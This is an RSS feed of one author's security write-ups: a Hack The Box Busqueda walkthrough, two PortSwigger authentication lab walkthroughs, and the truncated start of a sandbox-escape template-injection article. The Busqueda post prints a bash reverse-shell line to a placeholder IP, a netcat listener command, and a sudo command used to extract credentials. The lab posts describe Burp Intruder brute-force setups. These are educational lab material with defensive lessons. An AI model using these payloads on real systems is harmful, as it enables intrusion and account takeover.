<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Daksh Dhamija on Medium]]></title>
        <description><![CDATA[Stories by Daksh Dhamija on Medium]]></description>
        <link>https://medium.com/@dakshdhamija2006?source=rss-d71371ef3374------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*t7pizF0hzde7jkq0dD02fQ.jpeg</url>
            <title>Stories by Daksh Dhamija on Medium</title>
            <link>https://medium.com/@dakshdhamija2006?source=rss-d71371ef3374------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 05:13:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dakshdhamija2006/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box Busqueda Walkthrough: From Searchor Command Injection to Root]]></title>
            <link>https://cybersecuritywriteups.com/hack-the-box-busqueda-walkthrough-from-searchor-command-injection-to-root-731c559fb951?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/731c559fb951</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 19:34:47 GMT</pubDate>
            <atom:updated>2026-11-12T19:34:47.952Z</atom:updated>
            <content:encoded><![CDATA[<p>A practical walkthrough covering web enumeration, Searchor 2.4.0 command injection, credential discovery through Git, Gitea enumeration, Docker inspection, and Linux privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4QbdTIp1KfDqv840Gb7I1w.png" /></figure><p>In today’s blog we will be doing a easy-level machine named BUSQUEDA from Hack The Box. Objective of this lab is to perform a penetration test on the linux box and manage to get the user and root flag.</p><h4>Recon and Enumeration</h4><p>First we will perform a basic nmap scan to know which ports are open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4Xkf6TSh6Cqe-K7LNFqlg.png" /></figure><p>From the result, we found two ports open one is port 22 running SSH and second is port 80 running a web server.</p><h4>Web Application Analysis</h4><p>Lets enumerate web server running on the machine, when we tried to access it with IP we will be redirected to the “http://searcher.htb/” so i added searcher.htb to /etc/hosts with machine IP. now we are able to access it easily. After thoroughly enumerating web application we found “searchor 2.4.0” running on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*zkBh74iFy-YhLP_S9aJtEQ.png" /></figure><p>After searching about it on google we found a Remote Code Execution (RCE) vulnerability in it and also found a exploit on github for this vulnerability.</p><h4>Initial Access — Searchor Command Injection</h4><p>We use this exploit to exploit this vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDpgaSTeC4WYYXESTziX6A.png" /></figure><p>First we will setup a netcat listener to listen for the reverse shell</p><pre>rlwrap -f . nc -lnvp 4444</pre><p>Now we run the exploit and wait to get the reverse shell on our listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*u5g_OMku2tfeIKf_-Up6_A.png" /></figure><p>Got the shell on our listener as the user “svc”. Now we grab the flag user.txt from the Desktop of user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*jThZmhOqHM8r3pgtScBK_w.png" /></figure><h4>Post-Exploitation &amp; Credential Discovery</h4><p>After enumerating machine for sometime we found a config file at /var/www/app/.git which contains a user credentials and a subdomain gitea.searcher.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*WSf0_HUwBYrxsPDl5L9_MA.png" /></figure><p>On subdomain tried to authenticate with username and pass but not successfull then try do SSH with the username svc and password that we found and we got an SSH shell.</p><h4>Privilege Escalation — Docker Enumeration</h4><p>We tried to enumerate machine for privilege escalation vectors and when we ran sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2Ag8JkcepnQoxncvcjCjQ.png" /></figure><p>We found a sudo misconfiguration in which we are allowed to run Python3 as root on /opt/scripts/system-checkup.py from anywhere/ so we enumerated about this file and found a docker-inspect module in it and read about its documentation on github and found that we can inspect any docker container with it so we inspected gitea container with this command</p><pre>sudo python3 /opt/scripts/system-checkup.py docker-inspect &#39;{{json .Config}}&#39; gitea | jq</pre><p>And found one more credentials of user named Administrator and tried to login through the subdomain we found and logged in successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y5woeTAltklMwCSbIzq-uA.png" /></figure><h4>Root Access — Relative Path Hijacking</h4><p>After checking the scripts repo we found the file system-checkup.py and checked it and we found it was loading a file named full-checkup.sh with its realtive path not absolute path so we can do relative path hijacking in this case.</p><p>So we create a file named full-checkup.sh</p><p>in /tmp directory because we have all permissions in it and write a simple bash payload to it.</p><pre>#!/bin/bash<br><br>bash -i &gt;&amp; /dev/tcp/&lt;YOURIP&gt;/&lt;PORT&gt; 0&gt;&amp;1</pre><p>Then we will setup a new netcat listener to get the root shell on it. and run that script with sudo.</p><pre>sudo python3 /opt/scripts/system.checkup.py full-checkup.sh</pre><p>Yeah! We got the root shell. Now grab the flag from desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*voHN1ckgX3rjQLyhDFSAgw.png" /></figure><h4>Lessons Learned</h4><p>This machine highlights several important security issues:</p><ul><li><strong>Vulnerable third-party dependencies:</strong> Using outdated or vulnerable libraries can allow attackers to execute commands on the server. Always keep dependencies updated.</li><li><strong>Exposed Git metadata:</strong> Leaving the .git directory publicly accessible can reveal source code, configuration files, and sensitive information.</li><li><strong>Credential reuse:</strong> Reusing passwords across different services can allow attackers to access other accounts if one password is exposed.</li><li><strong>Sensitive information in Docker environment variables</strong>: Storing passwords or secrets in environment variables can expose them to users who have access to the container.</li><li><strong>Unsafe relative path execution</strong>: Running commands using relative paths can allow attackers to execute malicious files instead of legitimate system commands.</li><li><strong>Least privilege and secure sudo configuration: </strong>Users and scripts should only have the permissions they actually need. Avoid giving unnecessary sudo privileges.</li></ul><h4>Conclusion</h4><p>In this machine, we started with web enumeration and discovered a vulnerable version of Searchor that allowed command injection. After gaining initial access, we found exposed Git metadata that helped us discover credentials and access the Gitea service.</p><p>We then moved to the svc user, explored Docker containers, and discovered a privilege escalation path through an insecure sudo configuration and relative path execution. Finally, we used this weakness to gain root access.</p><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>GitHub:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=731c559fb951" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/hack-the-box-busqueda-walkthrough-from-searchor-command-injection-to-root-731c559fb951">Hack The Box Busqueda Walkthrough: From Searchor Command Injection to Root</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Brute-Force Protection: Bypassing IP-Based Login Blocking]]></title>
            <link>https://cybersecuritywriteups.com/broken-brute-force-protection-bypassing-ip-based-login-blocking-4ce15d8e9645?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ce15d8e9645</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 11:09:04 GMT</pubDate>
            <atom:updated>2026-10-03T14:51:29.284Z</atom:updated>
            <content:encoded><![CDATA[<p>Explore how flawed brute-force protection can be bypassed through improper IP-blocking and counter-reset logic. This practical PortSwigger lab walkthrough covers the attack, root cause, security impact, and effective prevention techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mul5ZtkSTah-pV3XtHLW3g.png" /></figure><p>Brute-force protection mechanism safeguards user authentication systems by limiting how many attempts an attacker can make against a login interface. Without these controls, automated tools can submit thousands of credential combinations per second until a valid pair is discovered.</p><h4>What Is a Brute-Force Attack?</h4><p>A brute-force attack is a trial-and-error method used to obtain unauthorized access to an application. Attackers use automated scripts and wordlists to submit candidate username and passwords to authentication endpoint.</p><p>Login endpoints serve as the primary gateway into an application’s internal trust boundary. Successful exploitation yields immediate, authenticated access to victim accounts without requiring complex post-exploitation maneuvers. Because login portals are public-facing by design, attackers can probe them continuously from anywhere on the internet.</p><h4>What Is Brute-Force Protection?</h4><p>Brute-force protection refers to the set of security controls used to detect, slow down, or block automated trial-and-error attempts to guess user credentials.</p><ul><li><strong>Rate Limiting:</strong> Restricts the total number of requests a client can send to an endpoint within a specific timeframe (e.g., maximum 5 attempts per minute).</li><li><strong>Temporary IP Blocking:</strong> Automatically bans an IP address for a set duration after it triggers multiple failed login attempts.</li><li><strong>Account Lockout:</strong> Disables access to a target account after consecutive failed attempts, requiring a timer, email link, or admin intervention to unlock.</li><li><strong>Increasing Delays (Exponential Backoff):</strong> Progressively delays the server’s response time after each failed attempt, turning rapid-fire requests into an impractically slow process.</li><li><strong>CAPTCHA:</strong> Forces users to solve a visual or behavioral challenge after suspicious failures, blocking automated scripts that cannot pass human-verification checks.</li><li><strong>Multi-Factor Authentication (MFA):</strong> Requires a second factor (like a TOTP code or push notification), ensuring that even if a password is brute-forced, the attacker still cannot log in.</li><li><strong>Monitoring and Alerting:</strong> Tracks traffic anomalies and alerts security teams or triggers automated responses when high-volume login failures are detected.</li></ul><p><strong>Basic Protection Flow :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*8yskBaovFlg9CVwDoqfFRQ.png" /></figure><ul><li>While this flow appears simple on paper, its real-world security comes down to two critical questions: <strong>What exactly does the application count, and when is that counter reset?</strong> If an attacker can spoof what is being counted or force a reset early, the entire protection system breaks.</li></ul><h4>Understanding IP-Based Blocking</h4><p>In standard IP-based rate limiting, the application tracks failed authentication requests originating from a specific IP address. Each failed attempt increments a dedicated counter tied to that IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*OS5zKAyb7rAujhZaY8TJpg.png" /></figure><p>When the IP’s failure count reaches the configured threshold (3 failed attempts), the server temporarily blocks subsequent login requests from that IP address, forcing a cooldown period.</p><p>While the application blocks an IP after three consecutive incorrect logins, its internal tracking logic automatically resets the IP’s failed-attempt counter to zero whenever <strong>any</strong> successful login occurs from that IP.</p><p><strong>The Reset Flaw in the Lab : </strong>An attacker can exploit this logic flaw to bypass the IP block completely</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*mDzGecjqRu3TLs_WOv4DnQ.png" /></figure><p>By alternating between trying two incorrect passwords on a target victim account and making one successful login to an attacker-controlled account, the counter never reaches the 3-failure threshold, allowing infinite brute-force attempts from a single IP address.</p><h4>PortSwigger Lab: Broken brute-force protection, IP block</h4><p><strong>Lab Objective : </strong>This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim’s password, then log in and access their account page.</p><ul><li>Your credentials: wiener:peter</li><li>Victim’s username: carlos</li></ul><p><strong>Step-1 : </strong>Investigate the Login Function</p><ul><li>Log in with the provided account and observe the application’s normal authentication behavior and capture the login request in Burp Suite.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-HuQtYhIqjY5vz-Im49Kw.png" /></figure><p><strong>Step-2 :</strong> Trigger the IP Block</p><ul><li>Send several incorrect login attempts. Observe that after three consecutive failed attempts, the application temporarily blocks the IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNhaqDt4T9xG0gMFHSwaFw.png" /></figure><p><strong>Step-3 : </strong>Discover the Logic Flaw</p><ul><li>Now test what happens when you successfully log in to your own account before reaching the blocking threshold.</li><li>The important observation is:</li></ul><pre>Failed login<br>Failed login<br>       ↓<br>Successful login as wiener<br>       ↓<br>Counter reset<br>       ↓<br>More failed attempts allowed</pre><p><strong>Step-4 : </strong>Automate the Attack</p><ul><li>Use <strong>Burp Intruder</strong> with a pitchfork attack.</li><li>Structure:</li></ul><pre>Username Payload       Password Payload<br>wiener                  peter<br>carlos                  password1<br>wiener                  peter<br>carlos                  password2<br>wiener                  peter<br>carlos                  password3<br>...</pre><p>The purpose is to alternate between:</p><pre>wiener → reset the counter<br>carlos → test candidate password</pre><ul><li>Set the resource pool with <strong>maximum concurrency set to 1</strong> so that requests are processed in the intended order.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mBOZgxlllaJLE-Iw0Ans4Q.png" /></figure><p><strong>Step-5 :</strong> Identify the Correct Password</p><ul><li>Analyze the Intruder results.</li><li>Look for the response that differs from the normal failed-login responses.</li><li>For the lab, the successful Carlos login produces a distinctive 302 response, which can be used to identify the correct password.</li></ul><p><strong>Step-6 :</strong> Log In</p><ul><li>Use the discovered credentials to authenticate as Carlos and access the account page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9h6j_WF-NWA6NPJ8NPqOlw.png" /></figure><h4>Root Cause</h4><p><strong>Why Did the Protection Fail?</strong></p><p>The root cause is a <strong>flawed brute-force protection state model</strong>.</p><p>The application attempts to protect the login endpoint by tracking failed attempts from an IP address. However, the counter can be reset by successfully authenticating to another account from the same IP.</p><p>Therefore, the attacker can repeatedly alternate between:</p><pre>Successful login to attacker&#39;s account<br>              ↓<br>        Reset counter<br>              ↓<br>Failed login against victim account<br>              ↓<br>Test another password<br>              ↓<br>Successful login to attacker&#39;s account<br>              ↓<br>        Reset counter</pre><p>The security control therefore does not maintain an independent and reliable limit on attempts against the victim account.</p><p>The important flaw is <strong>not simply “IP blocking is bad.”</strong> The problem is that the application’s reset logic allows an attacker to manipulate the state of the brute-force protection.</p><h4>Security Impact</h4><p>A flawed brute-force protection mechanism can allow attackers to:</p><ul><li>Perform significantly more password guesses than intended.</li><li>Circumvent temporary IP blocking.</li><li>Target specific user accounts.</li><li>Increase the effectiveness of credential attacks.</li><li>Potentially compromise accounts using weak or reused passwords.</li></ul><p>Brute-force protection bypass does not automatically mean account takeover. The final impact depends on whether the attacker can successfully discover the target’s credentials.</p><h4><strong>Prevention</strong></h4><p>Avoid relying on a single signal such as IP address. A stronger design considers multiple dimensions:</p><pre>Login Attempt<br>                       │<br>          ┌────────────┼────────────┐<br>          ↓            ↓            ↓<br>       IP-based     Account-based   Device/<br>        limits         limits       session signals<br>          │            │            │<br>          └────────────┼────────────┘<br>                       ↓<br>               Risk / Rate Control</pre><p><strong>Recommended protections</strong></p><ul><li>Account-based rate limiting</li><li>IP-based rate limiting</li><li>Avoid attacker-controlled counter resets</li><li>Progressive delays</li><li>CAPTCHA as an additional layer</li><li>MFA</li><li>Monitoring and alerting</li></ul><h4>Conclusion</h4><p>This lab demonstrates an important authentication security lesson: <strong>implementing a brute-force protection mechanism is not enough — its logic must also be resistant to manipulation.</strong></p><p>The application attempted to prevent password brute-forcing by temporarily blocking an IP after repeated failed logins. However, the ability to reset the failed-attempt counter by successfully authenticating to the attacker’s own account created a logic flaw that could be exploited to continue testing passwords against another account.</p><p><strong>The key lesson is :</strong></p><blockquote><em>Brute-force protection should track suspicious authentication activity independently of attacker-controlled actions and should use multiple layers of defense rather than relying solely on IP-based blocking.</em></blockquote><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>GitHub:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ce15d8e9645" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/broken-brute-force-protection-bypassing-ip-based-login-blocking-4ce15d8e9645">Broken Brute-Force Protection: Bypassing IP-Based Login Blocking</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Username Enumeration: Exploiting Authentication Response Differences]]></title>
            <link>https://cybersecuritywriteups.com/username-enumeration-exploiting-authentication-response-differences-49131d6b8057?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/49131d6b8057</guid>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-app-development]]></category>
            <category><![CDATA[authentication]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 10:11:34 GMT</pubDate>
            <atom:updated>2026-09-28T10:11:34.540Z</atom:updated>
            <content:encoded><![CDATA[<p>Learn how username enumeration vulnerabilities occur when authentication systems reveal whether an account exists through different error messages, response codes, or timing. This practical PortSwigger Web Security Academy walkthrough demonstrates how to identify and exploit these differences, understand the root cause, and prevent username disclosure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ABSR7bdis058kCrI-jkj7A.png" /></figure><p>In modern web application security, authentication serves as the primary gateway separating public access from senstive user data and administrative controls. Because it directly guards the identity access that is login mechanism is consistently targeted by malicious attackers to compromise user accounts, escalate privileges or breach internal networks.</p><p>Even when ann authentication mechanism perfectly rejects the invalid credential, some minor flaws can still indicate us towards something unusual such as slightly altered error messages, different HTTP status codes or variations in response time often creates side channels that can reveal sensetive system states.</p><p>This article explores a widespread vulnerability arising from these subtle disclosure channels: <strong>Username Enumeration</strong>.</p><h4>What Authentication Is and Why It Matters</h4><p>Authentication is a process of verifying that a user or system is who they claims to be, typically through credentials like username and password, MFA tokens or cryptographic keys. It forms the foundational trust layer of web application.</p><p>If an attacker bypasses the authentication mechanism, all downstream security controls including authorization models, session management and privacy protections are effectively compromised. Protecting authentication endpoints is critical to maintain overall system integrity.</p><h4>Understanding Username Enumeration</h4><p>Username enumeration occurs when application discloses whether the given username or email address exists in the database.</p><p>This usually happens when login, password reset or registration forms return distinct feedback for vallid and invalid credentials. Example- Returning “invalid password” for an existing user and “user does not exist” for ann unregistered one.</p><pre>Invalid username → &quot;User does not exist&quot;<br>Valid username   → &quot;Invalid password&quot;</pre><h4>Why Exposing Valid Usernames Risks Security</h4><p>Valid usernames represent 50% of the credentials needed to execute an account takeover. Revealing valid accounts lowers the barrier to entry for attackers by enabling:</p><ul><li><strong>Targeted Credential Stuffing &amp; Brute-Force Attacks:</strong> Attackers can filter out non-existent usernames and focus their computational resources exclusively on password guessing against real accounts.</li><li><strong>Focused Phishing &amp; Social Engineering:</strong> Knowing exact account identifiers allows attackers to craft targeted spear-phishing emails impersonating legitimate services.</li><li><strong>Privilege Identification:</strong> Enumerating administrative or high-value accounts (e.g., admin, root, billing-lead) gives attackers primary targets for privilege escalation attempts.</li></ul><h4>PortSwigger Lab: Username enumeration via different responses</h4><p><strong>Lab Objective : </strong>This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the given wordlist.</p><p>To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.</p><p><strong>Step-1 :</strong> Inspect the Login Functionality</p><ul><li>Open the login page and submit an invalid username and password. Capture the request and response in Burp Suite.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1858CoO6wB7bPyP_zgPcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xq-PGWPIz75gJPrD253zqg.png" /></figure><ul><li>After sending a normal login request with test credentials gives an error “Invalid username”</li></ul><p><strong>Step-2 : </strong>Identify Response Differences and Username Enumeration</p><ul><li>Now we have given a list of usernames, we try to brute-force with it, we can do it manually but it will take a lot of time if we have a large number of usernames so we will automate this using Burp-suite’s Intruder tab. Add the payload position on username and password field as test or random.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N-PnXNvs8O7XyJVVxj32iA.png" /></figure><ul><li>After brute-forcing successfully we found a response with a slightly different response from usual having a different error message “Incorrect Password”. This can be an indication that this username is a valid one.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fk1muE0CiR07KJzfpGyrCQ.png" /></figure><p><strong>Step-3 : </strong>Password Enumeration or Spraying</p><ul><li>Now we have a valid username so we will now try to brute-force password with that username. Change the username to the valid one in the request and add set the payload position to password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pIjhZLchnCcjdN6kvHQaYg.png" /></figure><ul><li>After performing the attack we found a request with different HTTP response code (302) which is successful one.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahfV0-8b9w1rr9TRuNF1lg.png" /></figure><p><strong>Step-4 : </strong>Verify the Result</p><ul><li>Now we have both a valid username and password so in order to solve the lab we have to login with the credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6f0VHGlWWdqANToDjKJFg.png" /></figure><h4>Root Cause</h4><p>At its core, a username enumeration vulnerability stems from <strong>conditional logic within the authentication handler that branches based on account existence</strong>. When an application processes a login request, it must perform two distinct verification steps:</p><ol><li>Check whether the requested account identifier (username, email, or user ID) exists in the database.</li><li>Verify whether the supplied password matches the stored credentials for that account.</li></ol><p>If the application’s backend code handles a failure at <strong>Step 1</strong> differently than a failure at <strong>Step 2</strong>, it exposes two distinct execution paths. That internal branching logic — even when hidden behind a generic-looking interface — inadvertently signals to an external observer whether a given account exists.</p><h4>Security Impact</h4><p>Finding out valid usernames doesn’t instantly let a hacker break into an account, but it makes their job much easier.</p><p>To log in, a hacker needs two things: <strong>a valid username</strong> and <strong>the correct password</strong>. When a website leaks valid usernames, the hacker already gets half of what they need for free.</p><p>Here is why this is<strong> dangerous:</strong></p><ul><li>Revealing Valid Accounts</li><li>Building Targeted Password-Guessing Lists</li><li>Increasing the Effectiveness of Credential Stuffing &amp; PasswordSpraying</li><li>Supporting Targeted Phishing &amp; Social Engineering</li><li>Exposing Sensitive Account Membership &amp; User Identities</li></ul><h4>Prevention and Mitigation</h4><p>To stop hackers from finding out which usernames exist, your application must treat <strong>all failed login attempts identically</strong>. If every attempt looks, acts, and takes the exact same amount of time, a hacker cannot guess what is happening behind the scenes.</p><ul><li>Use Generic Error Messages Everywhere</li><li>Equalize Response Times</li><li>Keep HTTP Responses Identical</li><li>Set Up Rate Limiting &amp; CAPTCHAs</li><li>Monitor and Log Suspicious Activity</li><li>Fix Registration, Password Reset, and Recovery Forms</li></ul><h4>Conclusion</h4><p>Small, unnoticed differences in how a web application handles failed logins whether through mismatched error messages, slightly altered status codes, or subtle response delays can unintentionally hand hackers a complete list of valid usernames. When failure behavior isn’t kept completely consistent, the application acts as a beacon, guiding attackers straight to real accounts. Stopping these subtle leaks requires enforcing identical behavior across every failure scenario: the same text, the same technical response structure, and the same processing time.</p><p><strong>Authentication security is not only about protecting passwords. It also requires preventing the application from revealing sensitive information through its responses.</strong></p><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>GitHub:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49131d6b8057" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/username-enumeration-exploiting-authentication-response-differences-49131d6b8057">Username Enumeration: Exploiting Authentication Response Differences</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Template Injection (SSTI): From Sandbox Escape to Remote Code Execution]]></title>
            <link>https://cybersecuritywriteups.com/server-side-template-injection-ssti-from-sandbox-escape-to-remote-code-execution-82ead6cdc95c?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/82ead6cdc95c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[ssti-exploitation]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 13:14:23 GMT</pubDate>
            <atom:updated>2026-09-22T16:12:12.742Z</atom:updated>
            <content:encoded><![CDATA[<p>A practical deep dive into advanced SSTI, exploring sandbox restrictions, object chaining, sandbox escapes, and Remote Code Execution through a PortSwigger Web Security Academy lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*36gJxNPOyTwcnH6IZh1o8w.png" /></figure><p>In our previous article, we demonstrated basic Server-Side Template Injection (SSTI) and showed how simple template syntax injection can lead directly to high-impact vulnerabilities.</p><p>In real-world applications, however, developers rarely leave template engines fully exposed — they frequently introduce restrictions such as <strong>sandboxing</strong>. A sandbox attempts to limit an attacker’s reach by explicitly restricting access to dangerous objects, global functions, sensitive modules, filesystem operations, or system command execution.</p><p>In this lab, we will investigate a sandboxed template environment, map its available functionality, identify a path around the intended restrictions, and ultimately demonstrate remote code execution (RCE).</p><h4>What Is a Template Sandbox?</h4><p>A <strong>template sandbox</strong> is a security mechanism built into a template engine designed to safely execute untrusted template code. When users — or attackers — can control or supply template code, a sandbox isolates that code to restrict it from accessing privileged runtime capabilities.</p><p><strong>What a Sandbox Tries to Do : </strong>A<strong> </strong>template sandbox attempts to prevent untrusted template code from executing dangerous operations, including running Operating System commands, accessing filesystem, sensetive application objects, dangerous modules and classes, arbitrary method calls, network functionality and other priviliged functionality.</p><p><strong>Architectural Comparison :</strong></p><ul><li>Sandboxed Template Execution :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*1MUhsdbJJu4wX88sfuP1dw.png" /></figure><ul><li>Unsandboxed Template Execution :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*Neg6o1du2w9XzhGNUHPHBQ.png" /></figure><p>A sandbox isn’t necessarily removing the vulnerability. It is attempting to <strong>limit what an attacker can do after obtaining template execution</strong>.</p><h4>Why Sandbox Escapes Matter?</h4><p>When a template engine implements a sandbox, it changes the threat model for Server-Side Template Injection (SSTI). Understanding sandbox escapes requires looking at how exploitation paths diverge between unsandboxed and sandboxed environments.</p><p><strong>Direct Exploitation vs. Sandbox Bypass</strong></p><ul><li>Without sandbox</li></ul><pre>SSTI<br> ↓<br>Template execution<br> ↓<br>Dangerous function<br> ↓<br>RCE</pre><ul><li>With sandbox</li></ul><pre>SSTI<br> ↓<br>Restricted template execution<br> ↓<br>Dangerous functionality blocked</pre><p>The attacker therefore needs to find another path:</p><pre>SSTI<br> ↓<br>Restricted environment<br> ↓<br>Explore accessible objects<br> ↓<br>Find unexpected capability<br> ↓<br>Chain objects/methods<br> ↓<br>Reach dangerous functionality<br> ↓<br>RCE</pre><h4>The Core Idea: Sandboxing Is Only as Strong as Its Attack Surface</h4><p><strong>A template sandbox is not a magic wall.</strong> It is just a fence built around a group of connected objects. The sandbox can successfully block direct access to dangerous tools. However, it only stays secure if there is <strong>no hidden path</strong> leading back to those powerful tools.</p><p>To do their job, templates must have access to data and tools. This means they <em>must</em> be allowed to touch certain objects. If even one allowed object — or any chain of properties and methods you can reach from that object — eventually leads back to the main computer system, <strong>the fence breaks.</strong></p><p><strong>Example :</strong></p><pre>Attacker<br>   │<br>   ▼<br>Template expression<br>   │<br>   ▼<br>Allowed object<br>   │<br>   ▼<br>Exposed method<br>   │<br>   ▼<br>Returned object<br>   │<br>   ▼<br>Another method<br>   │<br>   ▼<br>Dangerous capability</pre><p>A sandbox can successfully block 99% of dangerous imports and system calls. However, if the remaining 1% of reachable object surface contains a route back to the runtime execution environment, the sandbox fails to prevent Remote Code Execution. The security of the sandbox is defined not by what it forbids, but by the ultimate reachability of what it allows. The sandbox restricted several direct operations, but the exposed object graph still provided an unintended path to privileged functionality.</p><h4>PortSwigger Lab: Advanced SSTI</h4><p><strong>Lab Objective : </strong>This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos&#39;s home directory.</p><p>You can log in to your own account using the following credentials: wiener:peter</p><p><strong>Step-1 : </strong>Understand the application</p><ul><li>Firstly login into the web application with provided credentials and explore all the functionality provided with their request.</li></ul><figure><img alt="" 